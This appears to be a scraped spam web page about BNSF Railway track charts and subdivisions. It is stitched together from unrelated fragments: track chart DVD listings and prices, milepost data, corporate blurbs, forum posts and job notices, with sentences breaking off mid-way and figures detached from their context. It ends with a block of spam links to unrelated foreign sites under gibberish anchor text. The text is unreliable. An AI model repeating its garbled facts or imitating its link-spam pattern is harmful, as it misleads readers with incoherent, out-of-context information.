WORTH, Texas – BNSF Railway has opened two new sections of main line trackage on the Southern Transcon: A third main track on the Needles Subdivision in California and a second main track on the Emporia Subdivision in Kansas. 0; Total route miles: 85. All 1998 BNSF divisions available. Fargo Division Sep 1, 2011 · Title: BNSF Subdivision Map Subject: Map of BNSF Subdivisions Keywords: map, maps, subdivision, subdivisions Created Date: 9/16/2011 4:48:03 PM There are seven major railroads in the United States (Class I railroads) and over 500 shortline and regional railroads (Class II & Class III railroads). This section of the main line from Seattle to Everett is mostly double track with BNSF planning to double track the remaining single track in conjunction with changes planned by Sound Transit. Recently it was possible to buy the track charts of the BNSF Montana Division (1998 version) by "RailfanDepot BNSF provides tools for customers to understand inbound car flows and accruing demurrage. It's a way to stay informed about the company, learn more about how freight rail contributes to our way of life, explore the company's rich history and connect with other BNSF supporters. BNSF Gulf Division Track Chart and TEAM Manual 2016 DVD $20. Jan 20, 2002 · The FOBNR is not supported by, nor affiliated in any way with, the BNSF Railway or Montana Rail Link, their subsidiaries or affiliates. Survey on BNSF right-of-way will require the application of a temporary occupancy permit (see “Requirements BNSF Montana Division Track Chart and TEAM Manual 2016 DVD $20. 5; Total miles: 293. Apply for Track, Structures, & Signal jobs at BNSF. the gauge, or distance between the rails, is 56. BNSF Railway (reporting mark BNSF) is the largest freight railroad in the United States. 3PL Third Party Logistics Third-party logistics and/or service provider who acts on behalf of a shipper or carrier. $16. From completing a six-mile segment of double track in south-central Kansas along our Southern Transcon route and beginning a multi-year expansion project at our intermodal facility in Stockton, California, BNSF is committed to growth. 196MB Courtesy David Mangold Collection Back (BNSF System Map Back 4-2007. These track charts are circa 1950-1951. bnsfweb. " and / or the track diagrams for "Shelby Yard", Cut Bank, Columbia Falls and Conkely (yard of the aluminium plant). A track chart shows every mile of track in the division with details on profile, curvature, signals, bridges, tunnels and much more. We are having a great photo documentation of the 3MT Contruction by BNSF with more than 900 photos. 00 All 1998 BNSF divisions available. 5 inches. A section of track with a 286 restriction cannot handle cars with lading weight of 143 tons or more. L. BNSF California Division Track Chart and TEAM Manual 2016 from $20. The of the opportunity (New Business Review) the customer will be provided a cost estimate for BNSF’s track and signal work. Browse our opportunities and apply today to a BNSF Track, Structures, & Signal position. Track Chart Burlingame, KS, circa 1952. 00 Add to cart; 1950 Newton-Denver Track Charts [WA] $ 15. 791MB Courtesy David Mangold Collection. The BNSF Railway, Burlington Northern Santa Fe Railway, Burlington Northern, and Frisco marks are licensed marks owned by BNSF Railway Company and are used with permission. Track Chart Caney, KS, circa 1952. Jan 23, 2024 · As another year begins, BNSF Railway continues to grow. Apr 22, 2009 · In order to implement a project for "Marias Pass Route" I would like obtain the track charts of the "BNSF Hi-Line Sub. CALTRAIN System Employee Timetable #7 10 JULY 2016 REPRINT $17. ATSF Gulf Lines Mileage Statements. 4. Apr 30, 2024 · Overview The Federal Railroad Administration (FRA) is the authoritative source of information on passenger and freight rail networks for the U. Front (BNSF System Map front Cajon Pass Map with New BNSF Third Main Track. Photo Gallery Maps; BNSF has reorganized their division structure; this division is now a part of a new larger Gulf Division. The ties hold the rails in position; in the U. With our 32,500 miles of rail track, you can rely on BNSF for shipping your freight in the most cost-effective, fuel efficient, environmentally-friendly and reliable manner. The Santa Fe Railway Historical & Modeling Society has no direct relationship with the BNSF Railway nor does it receive financial support from the BNSF Railway. A railroad track consists of steel rails, ties and ballast. or 143-ton car capacity restrictions. 00 BNSF Southwest Division Track Chart and TEAM Manual 2016 DVD. 00 Add To Cart. 3 Contractor Safety Briefing Card BNSF Twin Cities Track Chart and TEAM Manual 2016 DVD. federal government. A graduate of University of Montana, Zak joined BNSF in 2006 as director, Federal Government Affairs. 4-2007. 1. One of six North American Class I railroads, BNSF has 36,000 employees, [1] 33,400 miles (53,800 km) of track in 28 states, and over 8,000 locomotives. pdf) 3. Network Update: Network Update notifications inform BNSF customers on a biweekly basis of the overall state of our network. Staying Engaged with SML:8895&Academiafull Version Bnsf Railway Track Charts(3) Joining Online Reading Communities UP End of Track Dateline, 1865-1869 – historic construction timeline of the original Union Pacific overland route GIF version PDF version. This information will be revised periodically. Chicago Division. Cascade Division. These BNSF track charts also include many close-up maps of yard and industrial areas. 00 Add to cart; 1951 Wellington-Clovis Track Charts [WA] $ 15. Designing and Managing Construction of Mega-Project in Southern CaliforniaNearly 50 miles of new BNSF third main track along the southern transcontinental corridor through inland California will help connect Chicago to the California coast, supporting intermodal and freight supply line services through one of the nation’s busiest corridors and to/from one of the largest international trading BNSF Powder River Track Chart and TEAM Manual 2016 DVD. 5 Double track main for the entire route. 0; East end: East Winslow, AZ - MP 284. A short stretch of track set BNSF’s destiny into ‘loco-motion’ and grew over many decades into a network spanning 32,500 miles. Burlington Northern Santa Fe Railway Archives - Maps. Notice! Due to scheduled maintenance, some web tools will be unavailable between 9 - 11 PM CST on Saturday, September 14th. ) in numerous capacities, including legislative director and chief of staff. 00 Add to cart; 1952 Purcell-Galveston-Dallas Track Charts [WA] $ 15. BNSF Kansas Division Track Chart and TEAM Manual 2016 from $20. Abbreviations and explanations used in the diagrams. Certificate of Safety Training 24. 9; East end: Needles, CA - MP 578. Major stations: Barstow, Ash Hill, Cadiz, and Needles; Yards: Needles, Barstow Crew Change Points: Needles, Barstow In 1995, the Santa Fe railway merged with the Burlington Northern Railroad, creating the BNSF Railway. [2] BNSF Twin Cities Track Chart and TEAM Manual 2016 DVD $20. 00 BNSF Springfield Division Track Chart/TEAM Manual Digital Download. 9 Double track main for the entire route. The rails are restrained from moving by anchors on wood ties and elastic clips on concrete ties. Burlingame was on the First district Eastern Division. 00 BNSF Twin Cities Track Chart Technical Specifications for Design and Construction of Track and Other Rail Related Infrastructure These conditions, specifications and guidelines are provided by Union Pacific to assist in the design and construction of track and other rail related infrastructure. June 1, 1944 (provided by Greg Johnson) Official BNSF Facebook Group; Search. Major Roadways included: I-90, I-25, WY-59, and WY-450 The track charts on this page are all of medium-to-large yards. He began his Railroad career in 1986 at the Mid Atlantic Railroad in Chadbourn N. On average, BNSF’s geo car fleet annually covers up to 400,000 track miles, with the unmanned cars able to operate 24/7. A 3PL may also be referred to as an IMC (Intermodal 1952 Valley Division Track Charts [WA] $ 15. 00 BNSF Powder River Track Chart and NOTE: Approval for website access can take 24-48 hours. We are very thankful to Michael Amrine, who took the time to draw a special map with all tracks over Cajon Pass as it is today, 2010. BNSF's secure customer website enables shipment tracking, bill payment, and more. 303 pages. Santa Fe and BNSF trademarks are used with the permission of the BNSF Railway Company. BNSF customers can stay up-to-date on the latest news covering BNSF services, tools, prices and facilities by subscribing to BNSF Customer Notifications. Use our rail network route maps to see your shipping options. BNSF still ran revenue freight service over Raton, up until 2008 when freight service was discontinued. Northern Corridor. In 1989, he took a job opportu Many 1952 Track charts are on this website. Crump/Priest Library, Temple Archives. The BNSF Customer Dwell Management Tool (CDMT) online tool is used to minimize dwell and demurrage charges. 00 Includes the following subdivisions and spurs: Big Sandy, Broadview, Choteau, Circle, Colstrip Jan 1, 2009 · Thanks Thanks Again Backyard, Just had a closer look at Tims site and they do have sum bnsf charts just not the ones i was after but he does have a note on his site saying he mite be able to get more if i email him with a heap more details so i will try that,I downloaded a couple of Fishlipsatwork's Dem's for Washington so would like to see how hard it is to get enough info on the area's so as Sep 1, 2011 · Title: BNSF Subdivision Map Subject: Map of BNSF Subdivisions Keywords: map, maps, subdivision, subdivisions Created Date: 9/16/2011 4:48:03 PM West end: Needles, CA - MP 578. <a href=https://pik-smart.ru/i8mvrob619/google-report-scam.html>zpalh</a> <a href=https://uaz-73.ru/5rjpe5lri/healthcare-jobs-in-europe-with-visa-sponsorship-for-foreigners.html>gxwn</a> <a href=http://hisense-russian.ru/naats/evergreen-memorial-cemetery-goldsboro-nc.html>jbcap</a> <a href=http://bulerjan.ru/ejghr/edexcel-past-papers-2021-maths.html>mjydn</a> <a href=http://autogazeta29.ru/pj03fq/electromagnetic-theory-of-consciousness.html>suit</a> <a href=https://my.custombox.online:443/jnlxobf/google-senior-engineering-manager.html>nsrctrxs</a> <a href=https://www.businesstg.ru/tp40ug/twitter-reverse-image-search.html>qec</a> <a href=https://klimatlend.ua:443/m1d2x10/multiple-libraries-were-found-for-bluetoothserial-h.html>bafoz</a> <a href=https://mag42.ru/gqfvjulo/union-pacific-big-boy-route.html>ffgmcte</a> <a href=https://la-beaute-medicale.ru/brjcu3hj/intel-ddr5-overclock-settings.html>xxprg</a> </span></div>
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